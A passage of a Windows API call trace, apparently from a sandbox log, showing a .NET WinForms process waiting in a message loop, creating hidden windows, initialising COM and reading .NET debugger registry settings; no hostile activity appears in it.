MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0245.822] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0246.243] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0246.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.196] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0247.743] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.260] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0248.686] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.169] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0249.704] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.233] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0250.825] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.288] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0251.822] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0252.225] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0252.509] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.020] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.333] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.462] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.605] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.741] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0253.894] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.024] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.258] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.379] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.518] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.667] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.787] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0254.924] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0255.061] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0255.344] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0255.471] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0255.639] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0255.797] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0255.913] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.033] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.175] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.319] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.503] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.705] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.831] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0256.999] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0257.117] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0257.314] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0257.533] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0257.705] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0257.860] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0258.049] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0258.251] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0258.418] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0258.659] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0258.817] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0258.986] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0259.165] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0259.291] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0259.431] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0259.557] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0259.682] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0259.838] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.016] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.134] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.259] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.385] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.516] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.688] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0260.848] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0261.024] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0261.251] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0261.441] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0261.678] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0261.863] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0262.010] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0262.206] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0272.222] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0282.247] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0292.343] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) returned 0x102 [0302.423] MsgWaitForMultipleObjectsEx (nCount=0x0, pHandles=0x0, dwMilliseconds=0x64, dwWakeMask=0xff, dwFlags=0x4) Thread: id = 257 os_tid = 0x1310 [0192.600] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0192.600] RoInitialize () returned 0x1 [0192.600] RoUninitialize () returned 0x0 [0192.622] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc150 [0192.627] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc1e2 [0192.633] GetSystemMetrics (nIndex=75) returned 1 [0192.642] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0192.941] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x7ffb02c60000 [0192.973] AdjustWindowRectEx (in: lpRect=0x1d69e460, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x1d69e460) returned 1 [0192.976] GetCurrentProcess () returned 0xffffffffffffffff [0192.976] GetCurrentThread () returned 0xfffffffffffffffe [0192.976] GetCurrentProcess () returned 0xffffffffffffffff [0192.976] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1d69e270, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1d69e270*=0x7e0) returned 1 [0192.976] GetCurrentThreadId () returned 0x1310 [0193.170] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ffb02c60000 [0193.172] GetModuleHandleW (lpModuleName="user32.dll") returned 0x7ffb1fc90000 [0193.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x1d69dea0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcW", lpUsedDefaultChar=0x0) returned 14 [0193.172] GetProcAddress (hModule=0x7ffb1fc90000, lpProcName="DefWindowProcW") returned 0x7ffb20254a40 [0193.173] GetStockObject (i=5) returned 0x1900015 [0193.176] GetModuleHandleW (lpModuleName=0x0) returned 0x4d0000 [0193.176] CoTaskMemAlloc (cb=0x5a) returned 0x1b1c53f0 [0193.176] RegisterClassW (lpWndClass=0x1d69de60) returned 0xc1f0 [0193.177] CoTaskMemFree (pv=0x1b1c53f0) [0193.177] GetModuleHandleW (lpModuleName=0x0) returned 0x4d0000 [0193.178] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.392fc8e_r8_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffffffffffd, hMenu=0x0, hInstance=0x4d0000, lpParam=0x0) returned 0x5037a [0193.181] SetWindowLongPtrW (hWnd=0x5037a, nIndex=-4, dwNewLong=0x7ffb20254a40) returned 0x1adb157c [0193.183] GetWindowLongPtrW (hWnd=0x5037a, nIndex=-4) returned 0x7ffb20254a40 [0193.186] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x1d69d228 | out: phkResult=0x1d69d228*=0x7d8) returned 0x0 [0193.186] RegQueryValueExW (in: hKey=0x7d8, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x1d69d278, lpData=0x0, lpcbData=0x1d69d270*=0x0 | out: lpType=0x1d69d278*=0x0, lpData=0x0, lpcbData=0x1d69d270*=0x0) returned 0x2 [0193.186] RegQueryValueExW (in: hKey=0x7d8, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x1d69d278, lpData=0x0, lpcbData=0x1d69d270*=0x0 | out: lpType=0x1d69d278*=0x0, lpData=0x0, lpcbData=0x1d69d270*=0x0) returned 0x2 [0193.186] RegCloseKey (hKey=0x7d8) returned 0x0 [0193.188] SetWindowLongPtrW (hWnd=0x5037a, nIndex=-4, dwNewLong=0x1adb166c) returned 0x7ffb20254a40 [0193.188] GetWindowLongPtrW (hWnd=0x5037a, nIndex=-4) returned 0x1adb166c [0193.188] GetWindowLongPtrW (hWnd=0x5037a, nIndex=-16) returned 0x6c10000 [0193.191] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1f1 [0193.192] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x5037a, Msg=0x24, wParam=0x0, lParam=0x1d69d880) returned 0x0 [0193.192] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1f2 [0193.192] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x5037a, Msg=0x81, wParam=0x0, lParam=0x1d69d7f0) returned 0x1 [0193.194] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x5037a, Msg=0x83, wParam=0x0, lParam=0x1d69d8a0) returned 0x0 [0193.194] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x5037a, Msg=0x1, wParam=0x0, lParam=0x1d69d7f0) returned 0x0 [0193.194] GetClientRect (in: hWnd=0x5037a, lpRect=0x1d69d280 | out: lpRect=0x1d69d280) returned 1 [0193.195] GetWindowRect (in: hWnd=0x5037a, lpRect=0x1d69d280 | out: lpRect=0x1d69d280) returned 1 [0193.198] GetParent (hWnd=0x5037a) returned 0x0 [0193.216] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ffb02c60000 [0193.217] GetModuleHandleW (lpModuleName=0x0) returned 0x4d0000 [0193.217] CreateWindowExW (dwExStyle=0x50000, lpClassName="WindowsForms10.Window.8.app.0.392fc8e_r8_ad1", lpWindowName=0x0, dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=300, hWndParent=0x0, hMenu=0x0, hInstance=0x4d0000, lpParam=0x0) returned 0x502f0 [0193.366] SetWindowLongPtrW (hWnd=0x502f0, nIndex=-4, dwNewLong=0x7ffb20254a40) returned 0x1adb157c [0193.366] GetWindowLongPtrW (hWnd=0x502f0, nIndex=-4) returned 0x7ffb20254a40 [0193.367] SetWindowLongPtrW (hWnd=0x502f0, nIndex=-4, dwNewLong=0x1adb16bc) returned 0x7ffb20254a40 [0193.367] GetWindowLongPtrW (hWnd=0x502f0, nIndex=-4) returned 0x1adb16bc [0193.367] GetWindowLongPtrW (hWnd=0x502f0, nIndex=-16) returned 0x6cf0000 [0193.640] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x81, wParam=0x0, lParam=0x1d69d8c0) returned 0x1 [0193.643] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x83, wParam=0x0, lParam=0x1d69d970) returned 0x0 [0193.644] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x1, wParam=0x0, lParam=0x1d69d8c0) returned 0x0 [0193.644] GetClientRect (in: hWnd=0x502f0, lpRect=0x1d69d2c0 | out: lpRect=0x1d69d2c0) returned 1 [0193.644] GetWindowRect (in: hWnd=0x502f0, lpRect=0x1d69d2c0 | out: lpRect=0x1d69d2c0) returned 1 [0193.647] GetStartupInfoW (in: lpStartupInfo=0x257cdc8 | out: lpStartupInfo=0x257cdc8*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0193.650] GetParent (hWnd=0x502f0) returned 0x0 [0193.650] SetWindowLongPtrW (hWnd=0x502f0, nIndex=-8, dwNewLong=0x0) returned 0x0 [0193.669] GetSystemMetrics (nIndex=11) returned 32 [0193.670] GetSystemMetrics (nIndex=12) returned 32 [0193.673] GetDC (hWnd=0x0) returned 0x1101082f [0193.682] GetDeviceCaps (hdc=0x1101082f, index=12) returned 32 [0193.682] GetDeviceCaps (hdc=0x1101082f, index=14) returned 1 [0193.682] ReleaseDC (hWnd=0x0, hDC=0x1101082f) returned 1 [0193.683] CreateIconFromResourceEx (presbits=0x257fdd0, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x1302ab [0193.689] GetSystemMetrics (nIndex=49) returned 16 [0193.689] GetSystemMetrics (nIndex=50) returned 16 [0193.691] CreateIconFromResourceEx (presbits=0x2580ed8, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x80257 [0193.693] SendMessageW (hWnd=0x502f0, Msg=0x80, wParam=0x0, lParam=0x80257) returned 0x0 [0193.693] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x80, wParam=0x0, lParam=0x80257) returned 0x0 [0193.694] SendMessageW (hWnd=0x502f0, Msg=0x80, wParam=0x1, lParam=0x1302ab) returned 0x0 [0193.694] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x80, wParam=0x1, lParam=0x1302ab) returned 0x0 [0193.695] GetSystemMenu (hWnd=0x502f0, bRevert=0) returned 0x110217 [0193.701] GetWindowPlacement (in: hWnd=0x502f0, lpwndpl=0x1d69e248 | out: lpwndpl=0x1d69e248) returned 1 [0193.702] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0193.702] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0193.702] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0193.702] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0193.702] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0193.704] GetClientRect (in: hWnd=0x502f0, lpRect=0x1d69e310 | out: lpRect=0x1d69e310) returned 1 [0193.704] GetClientRect (in: hWnd=0x502f0, lpRect=0x1d69e240 | out: lpRect=0x1d69e240) returned 1 [0193.705] GetWindowRect (in: hWnd=0x502f0, lpRect=0x1d69e240 | out: lpRect=0x1d69e240) returned 1 [0193.705] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ffb02c60000 [0193.705] GetWindowLongPtrW (hWnd=0x502f0, nIndex=-16) returned 0x6cf0000 [0193.706] GetWindowTextLengthW (hWnd=0x502f0) returned 0 [0193.706] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0193.706] GetSystemMetrics (nIndex=42) returned 0 [0193.706] GetWindowTextW (in: hWnd=0x502f0, lpString=0x1d69e050, nMaxCount=1 | out: lpString="") returned 0 [0193.706] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0xd, wParam=0x1, lParam=0x1d69e050) returned 0x0 [0193.707] GetWindowTextLengthW (hWnd=0x502f0) returned 0 [0193.707] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0193.707] GetSystemMetrics (nIndex=42) returned 0 [0193.707] GetWindowTextW (in: hWnd=0x502f0, lpString=0x1d69e050, nMaxCount=1 | out: lpString="") returned 0 [0193.707] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0xd, wParam=0x1, lParam=0x1d69e050) returned 0x0 [0193.707] GetWindowLongPtrW (hWnd=0x502f0, nIndex=-16) returned 0x6cf0000 [0193.707] GetWindowLongPtrW (hWnd=0x502f0, nIndex=-20) returned 0x50100 [0193.707] SetWindowLongPtrW (hWnd=0x502f0, nIndex=-16, dwNewLong=0x2cf0000) returned 0x6cf0000 [0193.707] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x1d69e110) returned 0x0 [0193.708] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x1d69e110) returned 0x0 [0193.712] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x80257 [0193.713] SetWindowLongPtrW (hWnd=0x502f0, nIndex=-20, dwNewLong=0x50000) returned 0x50100 [0193.713] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x1d69e110) returned 0x0 [0193.713] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x1d69e110) returned 0x0 [0193.714] SetWindowPos (hWnd=0x502f0, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0193.715] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x46, wParam=0x0, lParam=0x1d69e170) returned 0x0 [0193.715] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x83, wParam=0x1, lParam=0x1d69e140) returned 0x0 [0193.716] GetWindowPlacement (in: hWnd=0x502f0, lpwndpl=0x1d69dcc8 | out: lpwndpl=0x1d69dcc8) returned 1 [0193.716] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x47, wParam=0x0, lParam=0x1d69e170) returned 0x0 [0193.716] GetClientRect (in: hWnd=0x502f0, lpRect=0x1d69db60 | out: lpRect=0x1d69db60) returned 1 [0193.716] GetWindowRect (in: hWnd=0x502f0, lpRect=0x1d69db60 | out: lpRect=0x1d69db60) returned 1 [0193.720] RedrawWindow (hWnd=0x502f0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0193.720] GetSystemMenu (hWnd=0x502f0, bRevert=0) returned 0x110217 [0193.720] GetWindowPlacement (in: hWnd=0x502f0, lpwndpl=0x1d69e1e8 | out: lpwndpl=0x1d69e1e8) returned 1 [0193.720] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0193.720] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0193.720] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0193.720] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0193.720] EnableMenuItem (hMenu=0x110217, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0193.721] IsWindowVisible (hWnd=0x502f0) returned 0 [0193.721] OleInitialize (pvReserved=0x0) returned 0x0 [0193.721] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x1d69e438 | out: lplpMessageFilter=0x1d69e438*=0x0) returned 0x0 [0193.722] PeekMessageW (in: lpMsg=0x1d69e3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1d69e3d0) returned 1 [0193.723] IsWindowUnicode (hWnd=0x502f0) returned 1 [0193.723] GetMessageW (in: lpMsg=0x1d69e3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1d69e3d0) returned 1 [0193.725] TranslateMessage (lpMsg=0x1d69e3d0) returned 0 [0193.726] DispatchMessageW (lpMsg=0x1d69e3d0) returned 0x0 [0193.726] CallWindowProcW (lpPrevWndFunc=0x7ffb20254a40, hWnd=0x502f0, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0193.726] PeekMessageW (in: lpMsg=0x1d69e3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1d69e3d0) returned 0 [0193.726] PeekMessageW (in: lpMsg=0x1d69e3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1d69e3d0) returned 0 [0193.727] WaitMessage () Thread: id = 261 os_tid = 0xc44 Thread: id = 263 os_tid = 0xd20 [0198.796] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0198.798] CoGetContextToken (in: pToken=0x1db9fab0 | out: pToken=0x1db9fab0) returned 0x0 [0198.798] IUnknown:QueryInterface (in: This=0x77dd40, riid=0x7ffb02934998*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1db9fae8 | out: ppvObject=0x1db9fae8*=0x77dd58) returned 0x0 [0198.798] IComThreadingInfo:GetCurrentThreadType (in: This=0x77dd58, pThreadType=0x1db9fb58 | out: pThreadType=0x1db9fb58*=0) returned 0x0 [0198.798] 